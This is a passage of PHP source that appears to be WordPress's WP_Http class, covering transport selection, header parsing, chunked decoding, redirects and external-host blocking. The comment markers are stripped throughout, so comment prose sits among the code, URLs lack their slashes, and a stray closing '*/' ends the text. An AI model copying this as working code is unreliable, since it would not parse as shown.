* @param string[] $transports Array of HTTP transports to check. Default array contains
* 'curl' and 'streams', in that order.
* @param array $args HTTP request arguments.
* @param string $url The URL to request.
$request_order = apply_filters( 'http_api_transports', $transports, $args, $url );
Loop over each transport on each HTTP request looking for one which will serve this request's needs.
foreach ( $request_order as $transport ) {
if ( in_array( $transport, $transports, true ) ) {
$transport = ucfirst( $transport );
}
$class = 'WP_Http_' . $transport;
Check to see if this transport is a possibility, calls the transport statically.
if ( ! call_user_func( array( $class, 'test' ), $args, $url ) ) {
continue;
}
return $class;
}
return false;
}
*
* Dispatches a HTTP request to a supporting transport.
*
* Tests each transport in order to find a transport which matches the request arguments.
* Also caches the transport instance to be used later.
*
* The order for requests is cURL, and then PHP Streams.
*
* @since 3.2.0
* @deprecated 5.1.0 Use WP_Http::request()
* @see WP_Http::request()
*
* @param string $url URL to request.
* @param array $args Request arguments.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
private function _dispatch_request( $url, $args ) {
static $transports = array();
$class = $this->_get_first_available_transport( $args, $url );
if ( ! $class ) {
return new WP_Error( 'http_failure', __( 'There are no HTTP transports available which can complete the requested request.' ) );
}
Transport claims to support request, instantiate it and give it a whirl.
if ( empty( $transports[ $class ] ) ) {
$transports[ $class ] = new $class;
}
$response = $transports[ $class ]->request( $url, $args );
* This action is documented in wp-includes/class-wp-http.php
do_action( 'http_api_debug', $response, 'response', $class, $args, $url );
if ( is_wp_error( $response ) ) {
return $response;
}
* This filter is documented in wp-includes/class-wp-http.php
return apply_filters( 'http_response', $response, $args, $url );
}
*
* Uses the POST HTTP method.
*
* Used for sending data that is expected to be in the body.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
public function post( $url, $args = array() ) {
$defaults = array( 'method' => 'POST' );
$parsed_args = wp_parse_args( $args, $defaults );
return $this->request( $url, $parsed_args );
}
*
* Uses the GET HTTP method.
*
* Used for sending data that is expected to be in the body.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
public function get( $url, $args = array() ) {
$defaults = array( 'method' => 'GET' );
$parsed_args = wp_parse_args( $args, $defaults );
return $this->request( $url, $parsed_args );
}
*
* Uses the HEAD HTTP method.
*
* Used for sending data that is expected to be in the body.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
public function head( $url, $args = array() ) {
$defaults = array( 'method' => 'HEAD' );
$parsed_args = wp_parse_args( $args, $defaults );
return $this->request( $url, $parsed_args );
}
*
* Parses the responses and splits the parts into headers and body.
*
* @since 2.7.0
*
* @param string $response The full response string.
* @return array {
* Array with response headers and body.
*
* @type string $headers HTTP response headers.
* @type string $body HTTP response body.
* }
public static function processResponse( $response ) { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
$response = explode( "\r\n\r\n", $response, 2 );
return array(
'headers' => $response[0],
'body' => isset( $response[1] ) ? $response[1] : '',
);
}
*
* Transforms header string into an array.
*
* @since 2.7.0
*
* @param string|array $headers The original headers. If a string is passed, it will be converted
* to an array. If an array is passed, then it is assumed to be
* raw header data with numeric keys with the headers as the values.
* No headers must be passed that were already processed.
* @param string $url Optional. The URL that was requested. Default empty.
* @return array {
* Processed string headers. If duplicate headers are encountered,
* then a numbered array is returned as the value of that header-key.
*
* @type array $response {
* @type int $code The response status code. Default 0.
* @type string $message The response message. Default empty.
* }
* @type array $newheaders The processed header data as a multidimensional array.
* @type WP_Http_Cookie[] $cookies If the original headers contain the 'Set-Cookie' key,
* an array containing `WP_Http_Cookie` objects is returned.
* }
public static function processHeaders( $headers, $url = '' ) { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
Split headers, one per array element.
if ( is_string( $headers ) ) {
Tolerate line terminator: CRLF = LF (RFC 2616 19.3).
$headers = str_replace( "\r\n", "\n", $headers );
* Unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) <US-ASCII SP, space (32)>,
* <US-ASCII HT, horizontal-tab (9)> (RFC 2616 2.2).
$headers = preg_replace( '/\n[ \t]/', ' ', $headers );
Create the headers array.
$headers = explode( "\n", $headers );
}
$response = array(
'code' => 0,
'message' => '',
);
* If a redirection has taken place, The headers for each page request may have been passed.
* In this case, determine the final HTTP header and parse from there.
for ( $i = count( $headers ) - 1; $i >= 0; $i-- ) {
if ( ! empty( $headers[ $i ] ) && false === strpos( $headers[ $i ], ':' ) ) {
$headers = array_splice( $headers, $i );
break;
}
}
$cookies = array();
$newheaders = array();
foreach ( (array) $headers as $tempheader ) {
if ( empty( $tempheader ) ) {
continue;
}
if ( false === strpos( $tempheader, ':' ) ) {
$stack = explode( ' ', $tempheader, 3 );
$stack[] = '';
list( , $response['code'], $response['message']) = $stack;
continue;
}
list($key, $value) = explode( ':', $tempheader, 2 );
$key = strtolower( $key );
$value = trim( $value );
if ( isset( $newheaders[ $key ] ) ) {
if ( ! is_array( $newheaders[ $key ] ) ) {
$newheaders[ $key ] = array( $newheaders[ $key ] );
}
$newheaders[ $key ][] = $value;
} else {
$newheaders[ $key ] = $value;
}
if ( 'set-cookie' === $key ) {
$cookies[] = new WP_Http_Cookie( $value, $url );
}
}
Cast the Response Code to an int.
$response['code'] = (int) $response['code'];
return array(
'response' => $response,
'headers' => $newheaders,
'cookies' => $cookies,
);
}
*
* Takes the arguments for a ::request() and checks for the cookie array.
*
* If it's found, then it upgrades any basic name => value pairs to WP_Http_Cookie instances,
* which are each parsed into strings and added to the Cookie: header (within the arguments array).
* Edits the array by reference.
*
* @since 2.8.0
*
* @param array $r Full array of args passed into ::request()
public static function buildCookieHeader( &$r ) { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
if ( ! empty( $r['cookies'] ) ) {
Upgrade any name => value cookie pairs to WP_HTTP_Cookie instances.
foreach ( $r['cookies'] as $name => $value ) {
if ( ! is_object( $value ) ) {
$r['cookies'][ $name ] = new WP_Http_Cookie(
array(
'name' => $name,
'value' => $value,
)
);
}
}
$cookies_header = '';
foreach ( (array) $r['cookies'] as $cookie ) {
$cookies_header .= $cookie->getHeaderValue() . '; ';
}
$cookies_header = substr( $cookies_header, 0, -2 );
$r['headers']['cookie'] = $cookies_header;
}
}
*
* Decodes chunk transfer-encoding, based off the HTTP 1.1 specification.
*
* Based off the HTTP http_encoding_dechunk function.
*
* @link https:tools.ietf.org/html/rfc2616#section-19.4.6 Process for chunked decoding.
*
* @since 2.7.0
*
* @param string $body Body content.
* @return string Chunked decoded body on success or raw body on failure.
public static function chunkTransferDecode( $body ) { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
The body is not chunked encoded or is malformed.
if ( ! preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', trim( $body ) ) ) {
return $body;
}
$parsed_body = '';
We'll be altering $body, so need a backup in case of error.
$body_original = $body;
while ( true ) {
$has_chunk = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $body, $match );
if ( ! $has_chunk || empty( $match[1] ) ) {
return $body_original;
}
$length = hexdec( $match[1] );
$chunk_length = strlen( $match[0] );
Parse out the chunk of data.
$parsed_body .= substr( $body, $chunk_length, $length );
Remove the chunk from the raw data.
$body = substr( $body, $length + $chunk_length );
End of the document.
if ( '0' === trim( $body ) ) {
return $parsed_body;
}
}
}
*
* Determines whether an HTTP API request to the given URL should be blocked.
*
* Those who are behind a proxy and want to prevent access to certain hosts may do so. This will
* prevent plugins from working and core functionality, if you don't include `api.wordpress.org`.
*
* You block external URL requests by defining `WP_HTTP_BLOCK_EXTERNAL` as true in your `wp-config.php`
* file and this will only allow localhost and your site to make requests. The constant
* `WP_ACCESSIBLE_HOSTS` will allow additional hosts to go through for requests. The format of the
* `WP_ACCESSIBLE_HOSTS` constant is a comma separated list of hostnames to allow, wildcard domains
* are supported, eg `*.wordpress.org` will allow for all subdomains of `wordpress.org` to be contacted.
*
* @since 2.8.0
*
* @link https:core.trac.wordpress.org/ticket/8927 Allow preventing external requests.
* @link https:core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_ACCESSIBLE_HOSTS
*
* @param string $uri URI of url.
* @return bool True to block, false to allow.
public function block_request( $uri ) {
We don't need to block requests, because nothing is blocked.
if ( ! defined( 'WP_HTTP_BLOCK_EXTERNAL' ) || ! WP_HTTP_BLOCK_EXTERNAL ) {
return false;
}
$check = parse_url( $uri );
if ( ! $check ) {
return true;
}
$home = parse_url( get_option( 'siteurl' ) );
Don't block requests back to ourselves by default.
if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] === $check['host'] ) ) {
*
* Filters whether to block local HTTP API requests.
*
* A local request is one to `localhost` or to the same host as the site itself.
*
* @since 2.8.0
*
* @param bool $block Whether to block local requests. Default false.
return apply_filters( 'block_local_requests', false );
}
if ( ! defined( 'WP_ACCESSIBLE_HOSTS' ) ) {
return true;
}
static $accessible_hosts = null;
static $wildcard_regex = array();
if ( null === $accessible_hosts ) {
$accessible_hosts = preg_split( '|,\s*|', WP_ACCESSIBLE_HOSTS );
if ( false !== strpos( WP_ACCESSIBLE_HOSTS, '*' ) ) {
$wildcard_regex = array();
foreach ( $accessible_hosts as $host ) {
$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
}
$wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i';
}
}
if ( ! empty( $wildcard_regex ) ) {
return ! preg_match( $wildcard_regex, $check['host'] );
} else {
return ! in_array( $check['host'], $accessible_hosts, true ); Inverse logic, if it's in the array, then don't block it.
}
}
*
* Used as a wrapper for PHP's parse_url() function that handles edgecases in < PHP 5.4.7.
*
* @deprecated 4.4.0 Use wp_parse_url()
* @see wp_parse_url()
*
* @param string $url The URL to parse.
* @return bool|array False on failure; Array of URL components on success;
* See parse_url()'s return values.
protected static function parse_url( $url ) {
_deprecated_function( __METHOD__, '4.4.0', 'wp_parse_url()' );
return wp_parse_url( $url );
}
*
* Converts a relative URL to an absolute URL relative to a given URL.
*
* If an Absolute URL is provided, no processing of that URL is done.
*
* @since 3.4.0
*
* @param string $maybe_relative_path The URL which might be relative.
* @param string $url The URL which $maybe_relative_path is relative to.
* @return string An Absolute URL, in a failure condition where the URL cannot be parsed, the relative URL will be returned.
public static function make_absolute_url( $maybe_relative_path, $url ) {
if ( empty( $url ) ) {
return $maybe_relative_path;
}
$url_parts = wp_parse_url( $url );
if ( ! $url_parts ) {
return $maybe_relative_path;
}
$relative_url_parts = wp_parse_url( $maybe_relative_path );
if ( ! $relative_url_parts ) {
return $maybe_relative_path;
}
Check for a scheme on the 'relative' URL.
if ( ! empty( $relative_url_parts['scheme'] ) ) {
return $maybe_relative_path;
}
$absolute_path = $url_parts['scheme'] . ':';
Schemeless URLs will make it this far, so we check for a host in the relative URL
and convert it to a protocol-URL.
if ( isset( $relative_url_parts['host'] ) ) {
$absolute_path .= $relative_url_parts['host'];
if ( isset( $relative_url_parts['port'] ) ) {
$absolute_path .= ':' . $relative_url_parts['port'];
}
} else {
$absolute_path .= $url_parts['host'];
if ( isset( $url_parts['port'] ) ) {
$absolute_path .= ':' . $url_parts['port'];
}
}
Start off with the absolute URL path.
$path = ! empty( $url_parts['path'] ) ? $url_parts['path'] : '/';
If it's a root-relative path, then great.
if ( ! empty( $relative_url_parts['path'] ) && '/' === $relative_url_parts['path'][0] ) {
$path = $relative_url_parts['path'];
Else it's a relative path.
} elseif ( ! empty( $relative_url_parts['path'] ) ) {
Strip off any file components from the absolute path.
$path = substr( $path, 0, strrpos( $path, '/' ) + 1 );
Build the new path.
$path .= $relative_url_parts['path'];
Strip all /path/../ out of the path.
while ( strpos( $path, '../' ) > 1 ) {
$path = preg_replace( '![^/]+/\.\./!', '', $path );
}
Strip any final leading ../ from the path.
$path = preg_replace( '!^/(\.\./)+!', '', $path );
}
Add the query string.
if ( ! empty( $relative_url_parts['query'] ) ) {
$path .= '?' . $relative_url_parts['query'];
}
return $absolute_path . '/' . ltrim( $path, '/' );
}
*
* Handles an HTTP redirect and follows it if appropriate.
*
* @since 3.7.0
*
* @param string $url The URL which was requested.
* @param array $args The arguments which were used to make the request.
* @param array $response The response of the HTTP request.
* @return array|false|WP_Error An HTTP API response array if the redirect is successfully followed,
* false if no redirect is present, or a WP_Error object if there's an error.
public static function handle_redirects( $url, $args, $response ) {
If no redirects are present, or, redirects were not requested, perform no action.
if ( ! isset( $response['headers']['location'] ) || 0 === $args['_redirection'] ) {
return false;
}
Only perform redirections on redirection http codes.
if ( $response['response']['code'] > 399 || $response['response']['code'] < 300 ) {
return false;
}
Don't redirect if we've run out of redirects.
if ( $args['redirection']-- <= 0 ) {
return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
}
$redirect_location = $response['headers']['location'];
If there were multiple Location headers, use the last header specified.
if ( is_array( $redirect_location ) ) {
$redirect_location = array_pop( $redirect_location );
}
$redirect_location = WP_Http::make_absolute_url( $redirect_location, $url );
POST requests should not POST to a redirected location.
if ( 'POST' === $args['method'] ) {
if ( in_array( $response['response']['code'], array( 302, 303 ), true ) ) {
$args['method'] = 'GET';
}
}
Include valid cookies in the redirect process.
if ( ! empty( $response['cookies'] ) ) {
foreach ( $response['cookies'] as $cookie ) {
if ( $cookie->test( $redirect_location ) ) {
$args['cookies'][] = $cookie;
}
}
}
return wp_remote_request( $redirect_location, $args );
}
*
* Determines if a specified string represents an IP address or not.
*
* This function also detects the type of the IP address, returning either
* '4' or '6' to represent a IPv4 and IPv6 address respectively.
* This does not verify if the IP is a valid IP, only that it appears to be
* an IP address.
*
* @link http:home.deds.nl/~aeron/regex/ for IPv6 regex.
*
* @since 3.7.0
*
* @param string $maybe_ip A suspected IP address.
* @return int|false Upon success, '4' or '6' to represent a IPv4 or IPv6 address, false upon failure
public static function is_ip_address( $maybe_ip ) {
if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $maybe_ip ) ) {
return 4;
}
if ( false !== strpos( $maybe_ip, ':' ) && preg_match( '/^(((?=.*(::))(?!.*\3.+\3))\3?|([\dA-F]{1,4}(\3|:\b|$)|\2))(?4){5}((?4){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i', trim( $maybe_ip, ' []' ) ) ) {
return 6;
}
return false;
}
}
*/